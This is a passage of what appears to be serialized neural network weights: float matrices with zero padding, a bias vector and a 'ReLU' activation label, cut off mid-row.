0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.09216, 0.1578, -0.01776, 0.0468, -1.389, 0.1431, 0.3276, 0.6187, -1.642, 0.5396, -0.1371, -1.226, -1.015, -0.07495, 0.745, -0.808, 1.41, -0.5615, -0.5986, -0.1649, -0.2289, 0.2937, 1.01, 0.4175, -0.1852, 0.4844, 0.577, -0.2947, -0.3303, 0.05862, 0.1085, -1.713, -0.008514, 0.1377, 0.3606, 0.3137, 0.0637, -1.558, 0.3523, 0.02107, 0.753, 0.133, -0.262, 0.1174, -0.12103, 1.058, -0.2192, 0.1306, 0.1088, -0.996], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.5776, 0.347, -0.4502, -1.078, -0.0938, 0.0821, 0.2021, -1.792, -0.6914, 1.301, 0.6377, 1.116, 0.263, 0.1866, 0.4412, -0.3298, 0.09393, 0.10455, -1.863, 1.0625, 0.7837, 0.515, -0.5557, -0.9023, -0.4666, 0.1504, 0.5103, 0.1838, 0.0712, -1.858, 0.4448, -2.219, -0.004025, -0.542, 0.621, 1.21, 1.066, 1.165, -0.542, -0.1703, -1.335, -0.877, -0.8765, 1.168, 0.1849, 0.4236, -0.4, 0.6904, 0.1377, -0.2188], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.595, 0.623, 0.1388, 0.1683, -0.06805, 0.6772, -0.783, -0.5376, -0.4097, -0.05957, -0.02083, -0.3276, -0.2484, -0.147, -0.2683, -0.1295, 0.3228, -0.00374, -0.505, 0.388, -0.2084, 0.0576, 1.612, -0.1061, -0.2524, 0.08044, -0.7197, -0.8027, 0.1333, -0.3162, 0.07074, 0.0808, -0.0394, 0.885, -0.0672, -0.4377, -0.4238, -0.0788, 0.3257, -0.05542, -0.9365, 0.05283, 0.56, 0.3523, -0.1882, -0.0571, -1.053, -0.1364, -0.1132, 0.1819], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.6685, 0.1814, -0.471, 1.07, 0.9365, 0.08356, 0.5635, -0.668, -0.597, 1.614, -0.446, 0.1652, -0.794, -0.338, -0.02461, 0.4583, 0.0268, -0.6973, -0.01814, 0.803, 0.92, -0.6304, -0.2837, -0.4294, 0.1043, 1.459, -0.2012, -0.5635, 0.2566, 0.1678, -0.3784, -0.289, 0.006294, 0.4766, 0.02649, 0.6235, 0.4602, -1.326, -0.591, 0.4497, 0.684, 0.03934, 0.3025, -1.022, 0.2064, 0.9053, 0.2925, 0.1732, -0.2622, 0.1575], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.697, -0.546, 0.07764, -0.09454, 0.3496, 0.2413, 0.1946, 0.3918, -0.5884, 0.6313, 0.3782, 0.4368, 0.2041, -0.2507, 0.524, 0.1061, -0.838, 0.501, -0.366, 0.3518, 0.986, -0.2039, 0.278, -0.505, 0.1761, -0.12274, -0.65, 0.806, -0.12146, -0.206, 1.096, -0.713, 0.00652, 1.664, 0.06305, 0.1029, 0.5, 0.205, 0.456, -0.757, 0.10626, -0.0636, -2.307, -0.401, -0.03906, -0.5747, 0.2285, 0.1626, -0.4177, 0.092], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.03036, 0.2769, -0.0645, -0.9995, -0.4363, 0.501, 0.542, 0.0627, 1.407, 0.5347, 0.4917, 1.309, 0.279, 0.4976, -0.11346, 0.171, 0.714, 0.00911, 0.519, -0.2742, 0.251, 0.1926, -1.461, -0.7563, -1.109, -0.0373, 0.1414, -0.1847, 0.1793, -0.337, 0.2778, 0.2512, -0.01283, -1.423, 0.3345, -0.423, 0.6016, 0.7065, -0.3293, 0.158, 0.2074, -0.685, -0.572, 0.501, -0.5166, -0.635, 0.4675, 0.05453, 0.3, 0.112], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3826, 0.2854, 0.154, -0.4067, 0.1283, 0.1307, 0.8926, -0.0831, 1.082, 0.356, -0.8696, 0.5396, -0.4634, 0.519, 1.982, 0.567, -0.11505, 0.3132, -5.082, 0.2756, 0.00853, -1.533, 0.8535, 1.347, -0.08154, 0.771, 0.0638, 0.298, -0.2957, -0.0187, 0.1254, 0.88, -0.0358, 0.4521, 1.131, 0.502, -0.0992, -0.76, -0.2267, -0.08954, 0.5806, 0.345, -0.32, -1.5625, 0.0524, 0.2593, -0.345, 0.287, 0.1014, -0.1239], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0653, 0.1385, 0.9644, 0.665, 0.878, 0.9937, 0.2502, -1.353, 0.923, -0.6895, 1.465, -0.3289, 0.7593, 0.3154, -0.765, -1.939, -0.557, 0.08276, -4.15, -0.4097, -1.406, -0.2047, -2.984, 1.307, 0.0751, -1.017, 0.0745, -2.803, -0.1149, -0.2241, 0.00829, 0.3984, -0.003328, 1.426, -0.5444, -0.01078, -0.1638, 1.692, 0.06537, -2.38, -1.952, -0.1329, -0.1993, 0.1838, 0.423, -0.2615, 0.3535, 0.05664, 0.1481, 1.126], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2164, -0.2488, -0.07086, -0.0902, 0.4734, -0.02275, -0.764, 0.496, -0.742, -1.03, 0.7964, 1.38, -0.004154, -0.804, -1.278, -0.2415, -0.1523, 0.942, -0.11334, -0.1688, -2.994, -2.93, 0.681, 0.1649, 0.09717, -0.829, -0.1685, -1.323, 0.633, -0.1393, 0.813, 0.02072, -0.04385, -0.1897, -0.1071, 0.676, -0.524, 0.7935, -0.311, 0.3333, -0.9507, 0.0918, -0.1066, 0.1758, 0.278, -0.4329, 0.2803, 0.8604, -0.3762, 0.3555], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.05338, 0.02032, -0.05762, -0.05045, -0.03867, -0.01765, 0.02211, -0.01194, 0.02719, -0.0467, 0.03268, 0.01823, -0.0427, -0.022, -0.01442, -0.03995, 0.0241, 0.000929, 0.03595, -0.0463, -0.01765, -0.0404, 0.03305, 0.02472, -0.0667, -0.004715, -0.002321, -0.05423, -0.0122, -0.02448, -0.04254, -0.04416, -0.02278, -0.011734, -0.00805, -0.03387, -0.04504, 0.003267, -0.0089, -0.0471, -0.05103, -0.02089, -0.00404, -0.0221, 0.01388, -0.00757, -0.03806, -0.004204, 0.00879, 0.02809], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.014305, -0.174, 0.0543, -0.09375, 0.02339, 0.02313, 0.03384, 0.03412, -0.0002923, 0.0695, -0.006084, 0.04868, 0.01651, 0.05035, 0.05392, 0.012665, 0.0533, -0.001183, 0.00084, 0.03296, -0.1501, 0.0693, 0.01389, -0.1388, -0.02193, 0.05603, 0.0813, -0.0375, 0.02951, -0.2737, 0.0088, 0.03065, 0.01718, 0.05154, 0.0324, 0.05045, 0.0288, 0.0439, -0.2002, -0.04855, -0.1569, -0.1503, -0.2998, 0.0002735, -0.1054, -0.1002, 0.02766, -0.1633, 0.02174, -0.09955]]
[-0.167683, 0.310602, -0.969666, -0.0415705, -0.481177, -0.656986, -0.0635072, 0.0496308, 1.48303, -0.347907, -0.00728273, 0.30847, 1.33387, 0.466245, -0.0152554, -0.50506, -0.439385, -0.738994, 0.655075, -0.164113, -0.0579712, 1.44845, 0.0201811, -0.408906, -0.379711, -0.70986, -0.952344, -0.0177021, -1.87023, -0.00840982, 0.0224244, -0.681513, -0.540529, 0.19885, 0.0369453, -0.492932, -0.0132956, -0.0114491, 0.899156, -0.159464, -1.50035, 0.570267, -1.33361, -0.278884, -0.40674, -0.750571, 0.627663, 0.558487, -0.0251526, -0.0609033, -0.1677, 0.3105, -0.9697, -0.04156, -0.4812, -0.657, -0.06354, 0.04962, 1.483, -0.348, -0.007282, 0.3083, 1.334, 0.4663, -0.01526, -0.505, -0.4395, -0.739, 0.6553, -0.1641, -0.05798, 1.448, 0.02019, -0.409, -0.3796, -0.71, -0.952, -0.0177, -1.87, -0.00841, 0.02243, -0.6816, -0.5405, 0.1989, 0.03696, -0.493, -0.0133, -0.01145, 0.899, -0.1594, -1.5, 0.5703, -1.334, -0.2788, -0.4067, -0.7505, 0.6274, 0.5586, -0.02515, -0.0609]
ReLU
[[0.0347096, 1.49815, -0.737541, -0.0522176, 1.21892, 0.271912, -1.7211, 0.00811016, -0.0200248, -2.66693, 0.0590757, -0.75857, 0.34458, 0.20749, -0.0251867, 0.977962, -0.0718653, -0.784705, 0.266223, -1.1456, 0.000117091, 1.14305, 0.0865705, 0.299895, 0.616657, 0.0992301, -0.980835, 0.0526637, 1.57787, -0.00271954, -1.14182, -0.527989, 0.107827, -0.315172, 1.29342, -0.0364936, 0.0214612, 0.0479955, -0.581173, 0.167308, 1.36426, -0.264846, -0.316605, -0.335139, -1.43264, -1.36907, -0.638402, -1.15145, 0.0176541, 0.0438295, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.353566, 0.339109, 0.0128966, 0.0513073, 0.09952, 0.437153, -0.0559589, -0.0495487, 0.0814929, 0.469963, 0.489244, 0.325267, -0.444857, -0.140522, -0.0101025, -0.480174, 0.209294, 0.321282, 0.100771, -0.0578453, 0.100284, 0.0685144, 0.763061, -0.3432, 0.616892, -0.404668, 0.242587, -0.0410199, -0.523673, -0.00220013, 0.546148, 0.31286, -0.00276441, 0.0932615, -0.0612025, 0.634261, 0.0389351, -0.0126496, -0.186504, 0.0713781, 0.375871, -0.401234, -0.0345942, 0.0188058, -0.00066382, -0.139231, -0.223312, -0.218587, 0.0554931, 0.164769, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.535574, 0.0743094, -1.44045, 0.0461124, 0.0458469, 0.359084, -1.58108, -0.107932, -1.91287, 0.261894, -0.0575771, 0.458217, -0.773608, 0.210461, 0.0295891, 1.2859, 0.195915, 0.838927, 0.3387, 0.243681, 0.129388, -0.470665, 0.702625, -0.902504, 0.198674, 1.31448, 0.342465, -0.0531755, -2.31169, -0.0441142, -0.80555, -1.17806, -0.0632464, 0.0403615, -0.704949, 0.101981, 0.0513391, 0.00766577, -0.284982, -0.274494, 0.266404, -0.131295, -0.444475, -1.04746, 0.207603, -0.104945, 0.533867, -1.8875, 0.0199249, 0.118465, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.347287, 0.214332, -0.499494, -0.0167029, -1.39847, 0.101342, 0.228362, -0.101443, 1.44408, -0.956054, 0.0593521, -0.445139, -0.365848, 0.0620269, -0.0206926, 1.10842, 0.215477, 0.527448, -0.215941, -0.053308, -0.0124811, -0.263447, -1.05238, -0.450243, 0.179206, -0.294125, -2.06278, -0.0277291, 0.186574, -0.000246685, -0.502563, -0.221079, -1.57693, 0.91915, 0.154325, 0.490465, 0.0364212, -0.0288799, 0.235, 0.438052, 0.370309, -0.635053, -1.57977, -0.853329, -0.256577, -0.123325, -0.232466, -1.93848, -0.0553591, 0.00227629, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0664258, 0.794947, -0.497022, 0.0256088, -0.903212, -0.0307649, -0.234173, 0.00492024, -0.532268, -1.18331, 0.128533, -0.0195884, 0.080654, 0.107635, -0.0257923, -0.224455, 0.271826, -0.330146, 0.159169, 0.316081, 0.0559534, 0.271797, 0.402775, 0.0878445, -0.14897, 0.0664177, -0.0891331, -0.0126375, -7.02968, -0.0123709, -1.55644, -3.1937, 0.739718, -0.242218, 0.369334, -0.461467, 0.0470681, 0.00418618, 0.0829129, -0.0756108, -0.483981, 0.0491898, 0.0181685, -0.0875236, -0.436595, 0.0224072, 0.307341, 0.0386335, -0.0206257, 0.125768, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.568305, 0.177661, 0.262822, 0.110071, -0.371063, 0.273104, 0.105114, 0.0799006, 0.0979438, -0.559578, 0.0254224, -0.00323503, 0.391671, 1.12483, -0.0217836, -0.502697, -0.383415, -0.120605, 0.206845, -0.484876, 0.0856231, 0.289876, 0.533836, -0.410865, 0.334325, -0.209672, 0.120156, 0.022628, -0.282236, -0.0346943, 1.11571, 0.961063, 0.66134, 0.00733915, 0.184149, 0.220233, 0.00200158, -0.00179911, -0.0857054, -0.182006, -0.0178586, 0.29722, -0.125639, 0.00928538, -0.362794, -0.24844, -0.317423, -0.305755, 0.00417129, 0.11414, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.15179, -0.548112, -0.210716, 0.0360324, 1.24246, -0.532547, -0.688735, -0.136523, 0.0933157, 0.129383, 0.122418, -0.625204, 0.189848, -0.228599, 0.0245775, -0.704511, -0.000588039, -0.00837774, -0.244051, -0.386929, 0.156803, 0.444952, -0.559706, -0.249913, -0.296586, 0.147622, 0.309816, 0.0188485, 1.44176, -0.0433385, 0.259801, 0.388014, -0.0147379, 0.00867006, 0.371043, 0.0418945, -0.0112444, -0.0269375, -0.744057, -0.186488, 0.229885, -0.27585, 0.487069, 0.237681, -0.591349, -0.321232, 0.0361859, -1.56355, 0.0515326, 0.0902184, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.82078, 0.0504645, -0.821936, -0.0486255, -1.26584, 0.319872, -0.440989, 0.282032, -0.324075, 0.191999, -0.00507829, 0.103787, -0.197499, -0.0914152, 0.0253776, -0.172163, 0.204624, 0.385044, -0.470065, -0.186078, 0.0291483, -0.22379, 1.15913, -0.68205, 0.854018, -0.343157, -0.338963, -0.0054692, 0.251266, 0.00593937, 0.395326, 0.423947, -0.357956, -0.547366, 0.244627, 0.0467329, -0.0115105, -0.00631695, -0.23962, 0.85997, 0.23051, -0.427268, 0.553545, 0.72752, -0.0864293, 0.513767, 0.145723, 0.371965, 0.0314738, 0.0366633, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.23701, -1.0143, 3.26357, 0.0337268, -5.76921, 0.00433001, -1.87184, -0.360222, 3.48456, -0.0230697, -0.569704, 0.540745, 0.106569, 0.373458, -0.0397868, -7.40387, -4.73452, 2.23681, -3.19283, 2.76608, 0.0519526, -0.938954, 0.771908, -2.28665, -0.646613, 1.15995, -3.00095, -0.00630932, 1.08934, 0.0370187, -0.394396, -3.79213, -4.05809, -0.850996, -1.42283, -3.8499, -0.0364908, 0.0211957, -0.283651, 0.403451, 3.72575, -0.315168, -0.426472, 1.41764, -3.86534, 0.195056, 1.53238, 0.420613, -0.0486855, 0.00706895, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.342077, -0.276811, 0.971824, 0.0965562, -0.239533, 0.309726, -0.181211, 0.700973, -0.378527, -0.946834, 0.252094, -0.376129, 0.498122, -0.00252582, 0.0138393, -2.53782, 1.58952, -0.0333569, 0.245667, -0.457134, 0.134203, 0.715315, 0.0801842, 0.412497, 0.503298, -0.226558, 0.450932, -0.00340685, 0.538529, 0.0294978, -0.73665, 1.77286, 0.206671, -0.25322, 0.144836, 0.295532, -0.00648035, 0.0318452, -0.209117, 0.232622, 0.330947, 0.209875, 0.450128, -0.0165258, 0.0641795, -0.112942, -0.173444, 0.429588, -0.0380136, 0.121272, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.652536, -0.413782, -0.00631113, 0.112381, 0.585297, 0.10686, 0.114925, 0.171393, -0.020101, -0.538066, 0.187014, 0.189079, 0.0555207, 0.111007, -0.0138419, -2.49518, -0.240135, -0.904645, -0.220009, -0.00422443, 0.135861, -0.124071, -0.0186471, -0.919796, -0.366741, 0.0175196, 0.61185, -0.020657, 0.528505, -0.0467623, -0.413886, -0.398871, 0.174161, 0.631335, 0.17274, 0.116524, 0.00875058, -0.00158947, -0.132862, -0.416821, -0.268186, -0.736988, -1.65576, -0.815949, -0.369102, -0.158476, 0.343933, -0.582648, -0.0217348, 0.148772, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.131713, 0.106262, 0.436208, 0.0401182, 0.0621276, 0.50024, -0.0608512, 0.143651, -0.540572, 0.109196, 0.110673, 1.3586, -0.883045, -0.046499, 0.0459506, 1.9255, 0.72499, 1.00255, -0.436312, 0.979574, 0.0225541, -1.27131, 0.549248, -0.536263, -0.697277, 0.421542, 0.207604, -0.0454175, -0.647063, -0.00538619, -0.114647, -0.738202, -0.124462, 0.232988, -0.419851, -0.695536, 0.00578122, 0.0129166, -0.513607, 0.781463, -0.145051, 0.109603, -0.303208, -0.0361327, 0.329509, 1.13345, 0.473764, 1.47299, -0.0249646, -0.0179486, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.292589, -0.141089, 0.933588, 0.0180606, -4.052, -0.369182, 0.783015, 0.551036, 0.362946, -0.0295426, -0.472471, -0.719515, 0.0493144, 0.200631, 0.0291469, -0.29687, -4.53813, 0.358338, -0.347353, -0.675297, -0.000123607, -0.437304, -0.493186, 0.0261654, -0.103282, 0.141743, 1.14782, 0.0110083, 0.250218, -0.0199323, 0.302816, -2.02447, 0.243552, -0.185053, -0.115295, 0.128566, 0.0193111, 0.0333932, -0.215375, -0.214384, -1.85456, 0.0891412, 0.229305, -0.358513, 0.357121, 0.263505, 0.459567, -0.113319, -0.0391469, 0.0165531, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.713966, 0.376371, 0.526239, 0.0508215, 0.15846, -0.0684849, 0.38624, 0.634586, -0.1245, 0.140104, 0.75512, -0.167872, -0.391763, 0.510847, -0.0429185, 0.0673694, -0.755195, 0.00568347, 0.181875, 0.0969814, 0.0800216, -0.352238, 0.568261, 0.619342, -0.801077, 0.645646, -0.037605, -0.0161055, 0.163875, 0.0183095, -0.901581, 0.471394, 1.10068, 0.159122, -0.358031, -0.317038, 0.0358554, -0.0111119, 0.108254, 0.0676367, -0.628159, 0.24821, -0.154415, 0.125007, 0.360238, -0.451244, 0.487079, 0.569131, 0.0578339, 0.100694, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.74978, 0.714556, 1.6643, 0.0640548, 0.901504, -0.457719, 0.0731338, 0.258061, 1.52647, 0.825179, 0.375568, 1.0868, -0.309433, -0.460436, -0.0118959, 2.05313, 0.961568, 2.9371, 0.0369993, -0.104141, 0.114304, 0.591038, 0.591756, -0.175372, -0.728245, -0.675967, 1.79068, 0.000134551, 0.551394, 0.00443185, -0.101977, -0.400893, -0.532392, 0.0447165, 0.188372, -0.674519, -0.037618, 0.011408, -0.905509, -0.000206306, -0.0362506, 0.491352, 2.43634, -1.06793, 0.369045, -0.159429, 0.705572, 0.435986, -0.00791535, 0.122065, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.129878, -0.791572, 1.38659, 0.061119, 0.266666, -0.0289847, 0.11049, 0.0822804, 0.346361, -0.585857, -0.271345, -0.399468, -0.180819, 0.492871, -0.014265, 